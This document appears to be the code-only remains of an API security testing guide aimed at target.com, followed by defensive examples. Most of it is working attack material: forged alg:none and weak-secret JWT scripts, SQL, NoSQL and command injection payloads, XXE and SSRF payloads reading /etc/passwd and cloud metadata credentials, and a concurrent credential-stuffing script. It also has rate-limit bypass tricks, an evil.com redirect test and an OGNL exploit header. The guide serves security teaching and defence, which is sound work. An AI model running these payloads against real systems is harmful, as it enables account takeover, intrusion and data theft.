# Subdomain enumeration
subfinder -d target.com | grep -i api

# Common API path discovery
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/api-endpoints.txt

# Extract APIs from JavaScript
cat app.js | grep -Eo "https?://[a-zA-Z0-9./?=_-]*api[a-zA-Z0-9./?=_-]*"

# Find Swagger documentation
curl https://api.target.com/swagger.json
curl https://api.target.com/api-docs
curl https://api.target.com/v1/docs

# Test multiple API versions
curl https://api.target.com/v1/users
curl https://api.target.com/v2/users
curl https://api.target.com/api/v3/users

# Check for deprecated but active versions
for v in {1..10}; do
  curl -s -o /dev/null -w "%{http_code}" https://api.target.com/v$v/health
done

# Test all HTTP methods on an endpoint
for method in GET POST PUT DELETE PATCH OPTIONS HEAD; do
  echo "Testing $method:"
  curl -X $method https://api.target.com/users/123 -H "Authorization: Bearer TOKEN"
done

# Test for hidden parameters using param miner
curl -X POST https://api.target.com/users \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"pass","admin":true,"role":"admin","is_verified":true}'

# Example 1: JWT Algorithm Confusion Attack
import jwt
import base64
import json

# Original JWT header: {"alg": "HS256", "typ": "JWT"}
# Modified header: {"alg": "none", "typ": "JWT"}

payload = {"user_id": 123, "role": "admin"}

# Create unsigned JWT
header = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').decode().rstrip('=')
body = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')
malicious_jwt = f"{header}.{body}."

print(f"Malicious JWT: {malicious_jwt}")

# Extract JWT components
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJ1c2VyIn0.xyz"

# Decode payload
echo $JWT | cut -d. -f2 | base64 -d | jq

# Test expired token
curl https://api.target.com/profile \
  -H "Authorization: Bearer EXPIRED_TOKEN"

# Test with no signature
curl https://api.target.com/profile \
  -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxfQ."

# Test authorization code reuse
curl -X POST https://api.target.com/oauth/token \
  -d "code=USED_AUTH_CODE&client_id=CLIENT&grant_type=authorization_code"

# Test for open redirect in redirect_uri
https://api.target.com/oauth/authorize?
  client_id=CLIENT&
  redirect_uri=https://evil.com&
  response_type=code

# Test JSON parameter for SQLi
curl -X POST https://api.target.com/search \
  -H "Content-Type: application/json" \
  -d '{"query": "test\" OR 1=1-- -"}'

# Time-based blind SQLi
curl -X GET "https://api.target.com/users?id=1' AND SLEEP(5)-- -"

# MongoDB injection via JSON
curl -X POST https://api.target.com/login \
  -H "Content-Type: application/json" \
  -d '{
    "username": {"$ne": null},
    "password": {"$ne": null}
  }'

# NoSQL injection in query params
curl "https://api.target.com/users?filter[$regex]=.*admin.*"

# Test command injection in file processing APIs
curl -X POST https://api.target.com/convert \
  -H "Content-Type: application/json" \
  -d '{
    "filename": "test.pdf; whoami"
  }'

# XXE in XML APIs
curl -X POST https://api.target.com/upload \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<userInfo>
  <name>&xxe;</name>
</userInfo>'

# Bruteforce without rate limiting
for i in {1..1000}; do
  curl -X POST https://api.target.com/login \
    -d '{"username":"admin","password":"pass'$i'"}' &
done

# Test rate limit bypass techniques
# 1. Change IP via X-Forwarded-For
curl https://api.target.com/endpoint \
  -H "X-Forwarded-For: 1.2.3.$RANDOM"

# 2. Change User-Agent
curl https://api.target.com/endpoint \
  -H "User-Agent: Mozilla/5.0 (Random-Client-$RANDOM)"

# 3. Rotate authentication tokens
curl https://api.target.com/endpoint \
  -H "Authorization: Bearer TOKEN_$i"

# Test negative pricing
curl -X POST https://api.target.com/cart/add \
  -d '{"product_id": 123, "quantity": -5}'

# Test integer overflow
curl -X POST https://api.target.com/transfer \
  -d '{"amount": 999999999999999999}'

# Race condition in payment
for i in {1..10}; do
  curl -X POST https://api.target.com/purchase \
    -d '{"product_id": 123}' &
done

import jwt
import requests

# Scenario: API uses weak secret key
weak_secrets = ['secret', 'password', '12345', 'jwt_secret', 'api_key']

original_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

# Decode without verification to see payload
payload = jwt.decode(original_token, options={"verify_signature": False})
print(f"Original payload: {payload}")

# Try to forge admin token with weak secrets
payload['role'] = 'admin'
payload['user_id'] = 1

for secret in weak_secrets:
    try:
        forged_token = jwt.encode(payload, secret, algorithm='HS256')
        
        # Test forged token
        response = requests.get(
            'https://api.target.com/admin/users',
            headers={'Authorization': f'Bearer {forged_token}'}
        )
        
        if response.status_code == 200:
            print(f"✓ Success! Weak secret found: {secret}")
            print(f"Admin access gained with forged token")
            break
    except:
        continue

# Request returns sensitive fields not shown in UI
curl https://api.target.com/users/123 \
  -H "Authorization: Bearer USER_TOKEN"

# Response includes sensitive data:
{
  "id": 123,
  "username": "john_doe",
  "email": "john@example.com",
  "ssn": "123-45-6789",           # Should not be exposed
  "password_hash": "$2b$10$...",   # Should never be exposed
  "api_key": "sk_live_xxx",        # Should not be exposed
  "role": "user"
}

import requests
import json

def test_excessive_data_exposure(api_url, token):
    # Check for sensitive data in API responses
    
    sensitive_keywords = [
        'password', 'ssn', 'api_key', 'secret', 'token', 
        'credit_card', 'cvv', 'private_key', 'hash'
    ]
    
    response = requests.get(
        api_url,
        headers={'Authorization': f'Bearer {token}'}
    )
    
    response_text = response.text.lower()
    
    found_issues = []
    for keyword in sensitive_keywords:
        if keyword in response_text:
            found_issues.append(keyword)
    
    if found_issues:
        print(f"Warning: Excessive data exposure found!")
        print(f"Sensitive fields in response: {', '.join(found_issues)}")
    
    return found_issues

# Usage
test_excessive_data_exposure('https://api.target.com/users/me', 'user_token')

import requests
import concurrent.futures
import time

def credential_stuffing_attack(api_url, credentials_list):
    # Test for rate limiting on login endpoint
    
    def try_login(creds):
        username, password = creds
        response = requests.post(
            f'{api_url}/login',
            json={'username': username, 'password': password},
            timeout=5
        )
        return response.status_code, username
    
    start_time = time.time()
    
    # Concurrent requests to test rate limiting
    with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
        results = list(executor.map(try_login, credentials_list))
    
    elapsed = time.time() - start_time
    successful_attempts = len([r for r in results if r[0] in [200, 201]])
    
    print(f"Sent {len(credentials_list)} requests in {elapsed:.2f} seconds")
    print(f"Success rate: {successful_attempts}/{len(credentials_list)}")
    
    if len(credentials_list) > 100 and elapsed < 10:
        print("Warning: No rate limiting detected! API is vulnerable to brute force.")
    
    return results

# Test with credential list
credentials = [('admin', f'pass{i}') for i in range(1000)]
credential_stuffing_attack('https://api.target.com', credentials)

import requests

def test_bola_vulnerability(api_url, user_token, test_range):
    # Test for BOLA by accessing different user IDs
    
    vulnerable_endpoints = []
    
    for user_id in range(1, test_range):
        # Try accessing other users' resources
        endpoints = [
            f'/api/users/{user_id}',
            f'/api/users/{user_id}/orders',
            f'/api/users/{user_id}/profile',
            f'/api/accounts/{user_id}',
            f'/api/documents/{user_id}'
        ]
        
        for endpoint in endpoints:
            response = requests.get(
                f'{api_url}{endpoint}',
                headers={'Authorization': f'Bearer {user_token}'}
            )
            
            if response.status_code == 200:
                print(f"Warning: BOLA found at {endpoint}")
                print(f"User {user_id} data accessible without authorization")
                vulnerable_endpoints.append(endpoint)
    
    return vulnerable_endpoints

# Test BOLA
test_bola_vulnerability('https://api.target.com', 'user_token', 100)

# User A's token trying to access User B's data
curl https://api.target.com/users/456/orders \
  -H "Authorization: Bearer USER_A_TOKEN"

# If returns User B's orders → BOLA vulnerability confirmed

# Normal user registration
curl -X POST https://api.target.com/register \
  -H "Content-Type: application/json" \
  -d '{
    "username": "newuser",
    "email": "user@example.com",
    "password": "SecurePass123"
  }'

# Mass assignment attack - inject admin fields
curl -X POST https://api.target.com/register \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "email": "evil@example.com",
    "password": "password",
    "role": "admin",           # Should be filtered
    "is_verified": true,       # Should be filtered
    "credits": 999999          # Should be filtered
  }'

# If account created with admin role → Mass Assignment vulnerability

import requests

def test_mass_assignment(api_url, endpoint, base_payload):
    # Test for mass assignment vulnerabilities
    
    # Dangerous fields to test
    injection_fields = {
        'role': 'admin',
        'is_admin': True,
        'is_verified': True,
        'credits': 999999,
        'subscription': 'premium',
        'permissions': ['*'],
        'user_type': 'admin'
    }
    
    results = []
    
    for field, value in injection_fields.items():
        test_payload = base_payload.copy()
        test_payload[field] = value
        
        response = requests.post(
            f'{api_url}{endpoint}',
            json=test_payload
        )
        
        if response.status_code in [200, 201]:
            # Check if injected field persisted
            if field in response.text:
                print(f"Warning: Mass assignment: '{field}' accepted and processed")
                results.append(field)
    
    return results

# Test user registration endpoint
base_payload = {
    'username': 'testuser',
    'email': 'test@example.com',
    'password': 'Password123'
}

test_mass_assignment('https://api.target.com', '/register', base_payload)

# 1. Cloud metadata exploitation (AWS)
curl -X POST https://api.target.com/fetch-image \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"}'

# 2. Internal network scanning
curl -X POST https://api.target.com/webhook \
  -d '{"callback_url": "http://192.168.1.1:22"}'

# 3. Reading local files (file:// protocol)
curl -X POST https://api.target.com/import \
  -d '{"source": "file:///etc/passwd"}'

# 4. Port scanning via timing
for port in {1..1000}; do
  echo "Testing port $port"
  time curl -X POST https://api.target.com/fetch \
    -d "{\"url\": \"http://internal-service:$port\"}"
done

import requests
import time

def test_ssrf_vulnerability(api_url, parameter_name):
    # Test for SSRF in URL-accepting parameters
    
    payloads = [
        # Cloud metadata
        'http://169.254.169.254/latest/meta-data/',
        'http://metadata.google.internal/computeMetadata/v1/',
        
        # Internal services
        'http://localhost:80',
        'http://127.0.0.1:22',
        'http://0.0.0.0:3306',
        
        # File protocol
        'file:///etc/passwd',
        'file:///c:/windows/win.ini',
        
        # DNS rebinding
        'http://ssrf.test.internal'
    ]
    
    vulnerable = []
    
    for payload in payloads:
        try:
            start_time = time.time()
            response = requests.post(
                api_url,
                json={parameter_name: payload},
                timeout=10
            )
            elapsed = time.time() - start_time
            
            if response.status_code == 200 or elapsed > 5:
                print(f"Warning: Potential SSRF with payload: {payload}")
                print(f"Response time: {elapsed:.2f}s")
                vulnerable.append(payload)
        except requests.Timeout:
            print(f"Warning: Timeout with payload: {payload} - possible SSRF")
            vulnerable.append(payload)
        except Exception as e:
            continue
    
    return vulnerable

# Test
test_ssrf_vulnerability('https://api.target.com/proxy', 'target_url')

# Subdomain enumeration
subfinder -d target.com | httpx -title -tech-detect

# API endpoint discovery
kiterunner scan https://api.target.com -w routes.kite

# Parameter discovery
arjun -u https://api.target.com/endpoint

# Intercept with Burp Suite
# Configure Postman collections for baseline testing
# Use Autorize extension for authorization testing

# OWASP ZAP automated scan
zap-cli quick-scan --self-contained https://api.target.com

# Nuclei vulnerability scanning
nuclei -u https://api.target.com -t ~/nuclei-templates/

# Custom fuzzing
ffuf -u https://api.target.com/FUZZ -w wordlist.txt -mc 200,201,301,302

# JWT testing
jwt_tool TOKEN -C -d dictionary.txt

# GraphQL introspection
graphql-voyager https://api.target.com/graphql

# Install essential tools
sudo apt update && sudo apt install -y \
  burpsuite \
  zaproxy \
  python3 \
  golang \
  jq \
  curl

# Install Go tools
go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go install github.com/assetnote/kiterunner@latest
go install github.com/ffuf/ffuf@latest

# Install Python tools
pip3 install arjun jwt-tool requests aiohttp

# Clone useful repositories
git clone https://github.com/projectdiscovery/nuclei-templates.git
git clone https://github.com/danielmiessler/SecLists.git

# Secure JWT implementation example
import jwt
from datetime import datetime, timedelta

def generate_secure_jwt(user_id, role):
    payload = {
        'user_id': user_id,
        'role': role,
        'iat': datetime.utcnow(),
        'exp': datetime.utcnow() + timedelta(minutes=15),
        'iss': 'api.yourcompany.com',
        'aud': 'yourcompany-api'
    }
    
    # Use RS256 with private key (not HS256 with shared secret)
    with open('private_key.pem', 'r') as f:
        private_key = f.read()
    
    token = jwt.encode(payload, private_key, algorithm='RS256')
    return token

# BOLA prevention example
from flask import Flask, request, jsonify
import uuid

def check_authorization(user_id, resource_id):
    # Verify user owns the requested resource
    resource = db.get_resource(resource_id)
    
    if not resource:
        return False, "Resource not found"
    
    if resource.owner_id != user_id:
        # Log unauthorized access attempt
        security_log.warning(f"User {user_id} attempted to access resource {resource_id}")
        return False, "Unauthorized access"
    
    return True, resource

@app.route('/api/orders/<order_id>')
def get_order(order_id):
    current_user_id = get_user_from_token(request.headers.get('Authorization'))
    
    authorized, result = check_authorization(current_user_id, order_id)
    
    if not authorized:
        return jsonify({'error': result}), 403
    
    return jsonify(result)

# Rate limiting implementation with Flask-Limiter
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(
    app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"],
    storage_uri="redis://localhost:6379"
)

@app.route("/api/login", methods=["POST"])
@limiter.limit("5 per minute")  # Stricter limit for auth endpoints
def login():
    # Login logic
    pass

@app.route("/api/data")
@limiter.limit("100 per minute")
def get_data():
    # Data retrieval logic
    pass

# Input validation with Pydantic
from pydantic import BaseModel, EmailStr, validator
from typing import Optional

class UserCreateRequest(BaseModel):
    username: str
    email: EmailStr
    age: int
    role: Optional[str] = "user"
    
    @validator('username')
    def username_alphanumeric(cls, v):
        assert v.isalnum(), 'must be alphanumeric'
        assert len(v) >= 3, 'must be at least 3 characters'
        return v
    
    @validator('age')
    def age_range(cls, v):
        assert 13 <= v <= 120, 'age must be between 13 and 120'
        return v
    
    @validator('role')
    def role_whitelist(cls, v):
        allowed_roles = ['user', 'moderator']  # Never allow 'admin' via API
        assert v in allowed_roles, f'role must be one of {allowed_roles}'
        return v

@app.route('/api/users', methods=['POST'])
def create_user():
    try:
        user_data = UserCreateRequest(**request.json)
        # Proceed with validated data
    except ValidationError as e:
        return jsonify({'errors': e.errors()}), 400

# Nginx configuration for secure API
server {
    listen 443 ssl http2;
    server_name api.yourcompany.com;
    
    # TLS configuration
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    ssl_protocols TLSv1.3;
    ssl_prefer_server_ciphers on;
    ssl_ciphers ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512;
    
    # Security headers
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-XSS-Protection "1; mode=block" always;
    
    # API proxy
    location / {
        proxy_pass http://localhost:8000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

# Secure logging implementation
import logging
import json
from datetime import datetime

class SecurityLogger:
    def __init__(self):
        self.logger = logging.getLogger('api.security')
        handler = logging.FileHandler('security.log')
        handler.setFormatter(logging.Formatter('%(asctime)s - %(message)s'))
        self.logger.addHandler(handler)
        self.logger.setLevel(logging.INFO)
    
    def log_auth_attempt(self, username, success, ip_address):
        self.logger.info(json.dumps({
            'event': 'auth_attempt',
            'username': username,  # Never log password
            'success': success,
            'ip': ip_address,
            'timestamp': datetime.utcnow().isoformat()
        }))
    
    def log_authorization_failure(self, user_id, resource, action):
        self.logger.warning(json.dumps({
            'event': 'authorization_failure',
            'user_id': user_id,
            'resource': resource,
            'action': action,
            'timestamp': datetime.utcnow().isoformat()
        }))

security_logger = SecurityLogger()

# API versioning strategy
from flask import Blueprint

# Version 1 (deprecated but maintained)
api_v1 = Blueprint('api_v1', __name__, url_prefix='/api/v1')

@api_v1.route('/users')
def get_users_v1():
    # Include deprecation warning
    response = jsonify({'users': [...], 'deprecated': True})
    response.headers['X-API-Warn'] = 'This endpoint is deprecated. Use /api/v2/users'
    response.headers['X-API-Deprecation-Date'] = '2026-12-31'
    return response

# Version 2 (current)
api_v2 = Blueprint('api_v2', __name__, url_prefix='/api/v2')

@api_v2.route('/users')
def get_users_v2():
    # New implementation with improved security
    return jsonify({'users': [...]})

# Use UUIDs and verify ownership
import uuid

@app.route('/api/v1/customers/<customer_uuid>')
@require_authentication
def get_customer(customer_uuid):
    current_user = get_current_user()
    customer = db.query(Customer).filter_by(uuid=customer_uuid).first()
    
    if not customer:
        return jsonify({'error': 'Not found'}), 404
    
    # Verify user owns this customer record
    if customer.user_id != current_user.id and not current_user.is_admin:
        return jsonify({'error': 'Forbidden'}), 403
    
    return jsonify(customer.to_dict())

# Simplified version of the exploit
curl -X POST https://api.equifax.com/dispute \
  -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...(#cmd='cat /etc/passwd')...}"

# Any user could access any other user's data
curl https://api.onepeloton.com/api/user/USERNAME/overview

# Response included:
# - Full workout history
# - Heart rate data
# - Location data
# - Friend lists
# - Private groups

@app.route('/api/user/<username>/overview')
@login_required
def user_overview(username):
    current_user = get_jwt_identity()
    target_user = User.query.filter_by(username=username).first_or_404()
    
    # Check if profile is public or user is authorized
    if target_user.profile_private:
        if current_user != target_user.id:
            # Check if users are friends
            if not are_friends(current_user, target_user.id):
                return jsonify({'error': 'This profile is private'}), 403
    
    # Filter sensitive data based on privacy settings
    overview_data = target_user.get_overview(viewer_id=current_user)
    return jsonify(overview_data)